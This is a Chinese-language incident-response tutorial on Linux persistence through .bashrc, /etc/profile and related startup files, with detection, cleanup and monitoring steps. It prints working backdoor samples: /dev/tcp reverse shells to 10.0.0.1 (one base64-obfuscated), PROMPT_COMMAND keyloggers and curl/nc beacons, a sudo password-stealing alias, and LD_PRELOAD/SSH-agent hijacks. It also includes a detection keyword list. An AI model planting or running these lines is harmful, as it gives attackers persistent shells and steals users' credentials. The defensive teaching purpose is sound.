18 - Bashrc 与 Profile 后门 Shell 启动脚本是 Linux 持久化后门的经典藏身之处
攻击者通过修改 .bashrc、.bash_profile、/etc/profile 等文件实现登录即触发 的持久化
前置知识:23-Alias后门 、19-LD_PRELOAD劫持
一、Shell 启动脚本加载顺序 1.1 加载流程图 Login Shell(ssh 登录、su -、bash --login)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 ┌─────────────────────────────────────────────────────────────┐ │ Login Shell 启动 │ └──────────────────────┬──────────────────────────────────────┘ │ ▼ ┌─────────────────┐ │ /etc/profile │ ← 系统级,所有用户生效 └────────┬────────┘ │ ▼ ┌────────────────────────┐ │ /etc/profile.d/ *.sh │ ← 系统级模块化配置 └────────────┬───────────┘ │ ▼ ┌────────────────────────┐ │ ~/.bash_profile │ ← 用户级(优先级最高) │ 或 ~/.bash_login │ ← 若无 .bash_profile │ 或 ~/.profile │ ← 若无前两者 └────────────┬───────────┘ │ ▼ (通常 .bash_profile 会 source ~/.bashrc ) ┌────────────────────────┐ │ ~/.bashrc │ ← 用户级交互配置 └────────────────────────┘
Non-Login Shell(打开新终端窗口、执行 bash、脚本中的 #!/bin/bash)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 ┌─────────────────────────────────────────────────────────────┐ │ Non-Login Shell 启动 │ └──────────────────────┬──────────────────────────────────────┘ │ ▼ ┌────────────────────────┐ │ /etc/bash.bashrc │ ← 系统级(Debian/Ubuntu) │ (CentOS 无此文件) │ └────────────┬───────────┘ │ ▼ ┌────────────────────────┐ │ ~/.bashrc │ └────────────────────────┘
1.2 关键差异与应急含义 Login vs Non-Login Shell
特性
Login Shell
Non-Login Shell
触发条件
SSH、su -、控制台登录
bash、新终端、脚本
加载 /etc/profile
是
否
加载 ~/.bash_profile
是
否
加载 ~/.bashrc
间接(通过 .bash_profile)
是
应急含义
后门放在 ~/.bashrc → 几乎所有交互都会触发(覆盖面最广)
后门放在 /etc/profile → 所有用户 SSH 登录触发(影响面最大)
后门放在 /etc/profile.d/ → 最隐蔽(管理员习惯不逐个检查)
后门放在 ~/.bash_profile → 仅 Login Shell 触发
1.3 其他相关文件 /etc/environment:不是 shell 脚本,而是 KEY=VALUE 格式的环境变量文件
被 PAM 的 pam_env.so 在登录时读取
可被攻击者用于注入 LD_PRELOAD、修改 PATH
~/.bash_logout:退出 Login Shell 时执行
攻击者可在此放置清理痕迹的命令
/etc/bash.bash_logout:系统级退出脚本
~/.inputrc / /etc/inputrc:readline 配置,理论上也可被利用
$ENV、$BASH_ENV:特定场景下的启动文件变量
1 2 3 4 echo $BASH_ENV echo $ENV grep -r 'BASH_ENV\|ENV=' /etc/profile /etc/environment ~/.bash* 2>/dev/null
二、后门位置速查表 按文件分类
文件路径
类型
触发条件
危险等级
~/.bashrc
用户级
每次交互式 bash
★★★★★
~/.bash_profile
用户级
Login Shell
★★★★
~/.profile
用户级
Login Shell(无 .bash_profile 时)
★★★★
/etc/profile
系统级
所有用户 Login Shell
★★★★★
/etc/profile.d/*.sh
系统级
所有用户 Login Shell
★★★★★
/etc/bash.bashrc
系统级
所有用户 Non-Login Shell(Debian)
★★★★
/etc/environment
系统级
PAM 登录时
★★★
~/.bash_logout
用户级
退出 Login Shell
★★
$BASH_ENV 指向的文件
可变
非交互式 bash 脚本
★★★
按用户分类检查 需要检查系统上所有用户的 home 目录
1 2 3 4 5 6 7 8 9 10 11 12 awk -F: '$7 ~ /(bash|sh|zsh)$/{print $1,$6}' /etc/passwd while IFS=: read -r user _ _ _ _ home shell; do if "$shell " =~ (bash|sh|zsh)$ ; then echo "=== $user ($home ) ===" for f in .bashrc .bash_profile .profile .bash_login .bash_logout; do [ -f "$home /$f " ] && echo " [EXISTS] $home /$f ($(stat -c '%Y %s' "$home /$f " 2>/dev/null || stat -f '%m %z' "$home /$f " 2>/dev/null) )" done fi done < /etc/passwd
三、后门类型与真实案例 3.1 直接追加 Reverse Shell 最简单粗暴的方式,直接在 .bashrc 末尾追加反弹 shell 命令
案例一:bash TCP 反弹
1 2 bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &
案例二:带条件判断的反弹(避免重复连接)
1 2 3 4 if ! pgrep -f "/dev/tcp/10.0.0.1" > /dev/null 2>&1; then (bash -i >& /dev/tcp/10.0.0.1/4444 0>&1 &) 2>/dev/null fi
案例三:nohup + 后台 + 静默
1 2 nohup bash -c 'while true; do bash -i >& /dev/tcp/10.0.0.1/4444 0>&1; sleep 60; done' &>/dev/null &
特征:文件末尾有明显的 /dev/tcp、nc、bash -i 关键字
3.2 PROMPT_COMMAND 后门 PROMPT_COMMAND 是 bash 在每次显示提示符前执行的命令——用户每敲一次回车就触发一次
案例一:键盘记录器
1 2 export PROMPT_COMMAND='history 1 >> /tmp/.cmd_log 2>/dev/null; ${PROMPT_COMMAND}'
效果:用户每条命令都被记录到隐藏文件
案例二:定时回连
1 2 export PROMPT_COMMAND='([ $(date +%M) -eq 0 ] && curl -s http://10.0.0.1/beacon?h=$(hostname) &>/dev/null &); ${PROMPT_COMMAND}'
效果:每小时整点回连 C2
案例三:凭据窃取
1 export PROMPT_COMMAND='if [ -n "$SSH_CONNECTION" ]; then echo "$(date) $(whoami)@$(hostname) $(history 1)" | nc -w1 10.0.0.1 5555 2>/dev/null; fi; ${PROMPT_COMMAND}'
检测
1 2 3 4 5 echo "$PROMPT_COMMAND " grep -rn 'PROMPT_COMMAND' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null
3.3 Alias 劫持后门 通过 alias 覆盖常用命令,在执行合法操作的同时窃取凭据
案例一:sudo 密码窃取
1 2 alias sudo ='_sudo(){ /usr/bin/sudo -S "$@" 2>/dev/null; local rc=$?; read -sp "[sudo] password for $USER: " pass; echo "$pass" | /usr/bin/sudo -S true 2>/dev/null && echo "$(date) sudo:$pass" >> /tmp/.s 2>/dev/null; echo "$pass" | /usr/bin/sudo -S "$@"; }; _sudo'
案例二:ssh 凭据窃取
1 2 alias ssh='_ssh(){ echo "$(date) ssh $@" >> /tmp/.ssh_log; /usr/bin/ssh "$@"; }; _ssh'
案例三:ls 劫持(隐藏文件)
1 2 alias ls ='ls --color=auto | grep -v "\.backdoor\|\.malware"'
检测
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 alias type sudo type sshtype ls type cat type curltype wget/usr/bin/ls -la /usr/bin/type sudo grep -rn '^alias\|^:space:*alias' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null
详见:23-Alias后门
3.4 环境变量操纵 LD_PRELOAD 劫持
1 2 export LD_PRELOAD=/tmp/.libsystem.so
效果:所有动态链接程序启动时都会加载恶意共享库
详见:19-LD_PRELOAD劫持
PATH 劫持
1 2 export PATH=/tmp/.bin:$PATH
攻击者在 /tmp/.bin/ 中放置同名恶意二进制文件(如 ls、ps、netstat)
用户执行 ls 时实际运行的是恶意版本
LD_LIBRARY_PATH 劫持
1 export LD_LIBRARY_PATH=/tmp/.libs:$LD_LIBRARY_PATH
检测
1 2 3 4 5 6 7 8 9 10 11 12 echo "PATH=$PATH " echo "LD_PRELOAD=$LD_PRELOAD " echo "LD_LIBRARY_PATH=$LD_LIBRARY_PATH " grep -rn 'LD_PRELOAD\|LD_LIBRARY_PATH' /etc/profile* /etc/bash* /etc/environment /etc/ld.so.preload ~/.bash* ~/.profile 2>/dev/null echo $PATH | tr ':' '\n' | while read d; do [ -d "$d " ] && echo "$d $(stat -c '%U:%G %a' "$d " 2>/dev/null || stat -f '%Su:%Sg %Lp' "$d " 2>/dev/null) " done
3.5 SSH_AUTH_SOCK 劫持 SSH_AUTH_SOCK 指向 ssh-agent 的 Unix socket,劫持后可使用他人的 SSH 密钥
攻击原理
1 2 3 4 5 6 7 find /tmp -name "agent.*" -ls 2>/dev/null export SSH_AUTH_SOCK=/tmp/ssh-XXXX/agent.1234ssh-add -l ssh target-server
持久化后门
1 2 3 4 5 6 for sock in /tmp/ssh-*/agent.*; do SSH_AUTH_SOCK=$sock ssh-add -l 2>/dev/null && \ export SSH_AUTH_SOCK=$sock && break done 2>/dev/null
检测
1 2 3 4 5 6 grep -rn 'SSH_AUTH_SOCK' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null echo $SSH_AUTH_SOCK ls -la $SSH_AUTH_SOCK
3.6 Base64 编码隐藏后门 攻击者使用 base64 编码隐藏 payload,逃避简单的 grep 检查
案例
1 2 3 eval "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d) " &>/dev/null &
解码后实际内容
1 2 echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDA+JjE= | base64 -d
检测
1 2 3 4 5 grep -rn 'base64\s*-d\|base64\s*--decode' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null grep -rn 'eval\s' /etc/profile* /etc/bash* ~/.bash* ~/.profile 2>/dev/null
四、系统化检测方法 4.1 关键字搜索(一键排查脚本) 在所有 profile/bashrc 文件中搜索高危关键字
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 #!/bin/bash SCAN_FILES=( /etc/profile /etc/profile.d/*.sh /etc/bash.bashrc /etc/bashrc /etc/environment ) while IFS=: read -r _ _ _ _ _ home shell; do if "$shell " =~ (bash|sh|zsh)$ && [ -d "$home " ]; then SCAN_FILES+=("$home /.bashrc" "$home /.bash_profile" "$home /.profile" "$home /.bash_login" "$home /.bash_logout" ) fi done < /etc/passwdPATTERNS=( '/dev/tcp/' '/dev/udp/' 'base64\s*-d' 'base64\s*--decode' '\bcurl\b.*http' '\bwget\b.*http' '\bnc\b\s*-' '\bncat\b' '\bnetcat\b' '\bpython.*import\s*socket' '\bperl.*socket' '\bruby.*socket' 'eval\s' 'LD_PRELOAD' 'LD_LIBRARY_PATH' 'PROMPT_COMMAND' 'BASH_ENV' '\balias\s+(sudo|ssh|su|ls|ps|netstat)\b' 'SSH_AUTH_SOCK' '\bsetsid\b' '\bnohup\b' '\bdisown\b' ) echo "[*] Scanning shell startup files for backdoor indicators..." echo "============================================================" for file in "${SCAN_FILES[@]} " ; do [ -f "$file " ] || continue for pattern in "${PATTERNS[@]} " ; do result=$(grep -n -E "$pattern " "$file " 2>/dev/null) if [ -n "$result " ]; then echo "[!] HIT in $file :" echo " Pattern: $pattern " echo " $result " echo "" fi done done echo "[*] Scan complete."
4.2 文件完整性对比 与包管理器对比(系统级文件)
1 2 3 4 5 6 7 dpkg -V base-files 2>/dev/null | grep profile rpm -Vf /etc/profile rpm -Vf /etc/bashrc
与已知基线 hash 对比
1 2 3 4 5 md5sum /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh > /root/baseline_profile_hashes.txtmd5sum -c /root/baseline_profile_hashes.txt
检查文件修改时间
1 2 3 4 5 6 7 8 9 10 11 stat /etc/profile /etc/bash.bashrc /etc/profile.d/*.sh 2>/dev/nullfind /etc/profile.d/ -name "*.sh" -mtime -30 -ls for f in /etc/profile.d/*.sh; do pkg=$(dpkg -S "$f " 2>/dev/null || rpm -qf "$f " 2>/dev/null) echo "$f -> ${pkg:-UNKNOWN (可疑!)} " done
4.3 运行时检测 检查当前 shell 环境
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 alias 2>/dev/nulldeclare -Fecho "PROMPT_COMMAND=$PROMPT_COMMAND " env | grep -iE '(LD_PRELOAD|LD_LIBRARY|BASH_ENV|PROMPT_COMMAND|SSH_AUTH_SOCK)' for cmd in sudo ssh su ls ps netstat ss curl wget cat less; do result=$(type "$cmd " 2>/dev/null) if echo "$result " | grep -qv "is /" ; then echo "[!] SUSPICIOUS: $result " fi done
使用 env -i 启动干净 shell 对比
1 2 3 4 5 6 7 env -i /bin/bash --norc --noprofilealias echo "$PROMPT_COMMAND " echo "$PATH "
4.4 diff 对比分析 与默认 bashrc 对比,找出被添加的内容
1 2 3 4 5 6 7 8 9 10 diff /etc/skel/.bashrc ~/.bashrc while IFS=: read -r user _ _ _ _ home shell; do if "$shell " =~ bash$ && [ -f "$home /.bashrc" ]; then changes=$(diff /etc/skel/.bashrc "$home /.bashrc" 2>/dev/null | grep '^>' | wc -l) echo "$user : $changes lines added to .bashrc" fi done < /etc/passwd
五、清除与修复 5.1 清除流程 Step 1:备份证据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 mkdir -p /tmp/ir_evidence/shell_profilescp -a /etc/profile /tmp/ir_evidence/shell_profiles/cp -a /etc/profile.d/ /tmp/ir_evidence/shell_profiles/cp -a /etc/bash.bashrc /tmp/ir_evidence/shell_profiles/ 2>/dev/nullcp -a /etc/environment /tmp/ir_evidence/shell_profiles/while IFS=: read -r user _ _ _ _ home _; do if [ -d "$home " ]; then mkdir -p "/tmp/ir_evidence/shell_profiles/$user " cp -a "$home " /.bash* "$home " /.profile "/tmp/ir_evidence/shell_profiles/$user /" 2>/dev/null fi done < /etc/passwd
Step 2:删除恶意内容
1 2 3 4 5 6 7 8 vim ~/.bashrc vim /etc/profile sed -i.bak '/\/dev\/tcp/d' ~/.bashrc sed -i.bak '/PROMPT_COMMAND.*nc\|curl\|wget/d' ~/.bashrc
Step 3:恢复默认文件(如整个文件被篡改)
1 2 3 4 5 6 7 8 9 10 cp /etc/skel/.bashrc ~/.bashrccp /etc/skel/.profile ~/.profileapt install --reinstall base-files bash yum reinstall bash setup
Step 4:验证清除结果
1 2 3 4 5 6 7 8 grep -rn '/dev/tcp\|base64.*-d\|eval ' ~/.bashrc ~/.bash_profile ~/.profile /etc/profile /etc/profile.d/ /etc/bash.bashrc 2>/dev/null alias echo "$PROMPT_COMMAND " env | grep -i ld_preload
5.2 预防措施 文件完整性监控
1 2 3 4 5 6 /etc/profile p+i+n+u+g+s+md5+sha256 /etc/profile.d p+i+n+u+g+s+md5+sha256 /etc/bash.bashrc p+i+n+u+g+s+md5+sha256 /etc/environment p+i+n+u+g+s+md5+sha256
限制 profile.d 写入权限
1 2 3 4 chown root:root /etc/profile.d/chmod 755 /etc/profile.d/chmod 644 /etc/profile.d/*.sh
Auditd 规则:监控启动脚本修改
1 2 3 4 5 6 7 8 9 10 11 -w /etc/profile -p wa -k profile_modification -w /etc/profile.d/ -p wa -k profile_modification -w /etc/bash.bashrc -p wa -k profile_modification -w /etc/environment -p wa -k profile_modification auditctl -R /etc/audit/rules.d/bashrc_monitor.rules ausearch -k profile_modification
immutable 属性(极端情况)
1 2 3 4 5 6 chattr +i /etc/profile chattr +i /etc/bash.bashrc lsattr /etc/profile /etc/bash.bashrc
六、实战演练 Lab 环境:labs/13-persistence-bashrc/ 场景描述
运维人员发现某台服务器在 SSH 登录后出现短暂的网络连接
初步判断有后门在用户登录时触发
练习步骤
检查当前用户的 shell 启动脚本
1 2 3 cat ~/.bashrccat ~/.bash_profilecat ~/.profile
检查系统级启动脚本
1 2 3 4 5 cat /etc/profilels -la /etc/profile.d/cat /etc/profile.d/*.shcat /etc/bash.bashrccat /etc/environment
搜索高危关键字
1 2 grep -rn '/dev/tcp\|base64\|eval\|PROMPT_COMMAND\|LD_PRELOAD\|alias sudo' \ /etc/profile* /etc/bash* /etc/environment ~/.bash* ~/.profile 2>/dev/null
检查运行时环境
1 2 3 4 alias declare -Fenv | grep -iE '(LD_|PROMPT|BASH_ENV)' type sudo ssh ls
定位后门并记录位置
清除后门并验证
部署监控规则防止复发
常见面试/CTF 题目 Q:如何在不触发 bashrc 后门的情况下安全登录?
1 2 3 4 5 6 7 8 ssh user@host -t "/bin/sh" ssh user@host "cat ~/.bashrc" ssh user@host -t "bash --norc --noprofile"
Q:如何判断 alias 是否被劫持?
1 2 3 4 5 6 type -a sudo command -V sudo /usr/bin/sudo whoami
Q:PROMPT_COMMAND 和 trap DEBUG 的区别?
PROMPT_COMMAND:每次显示提示符前执行
trap '...' DEBUG:每条命令执行前触发,更底层
1 2 3 trap -p DEBUGgrep -rn "trap.*DEBUG" /etc/profile* ~/.bash* 2>/dev/null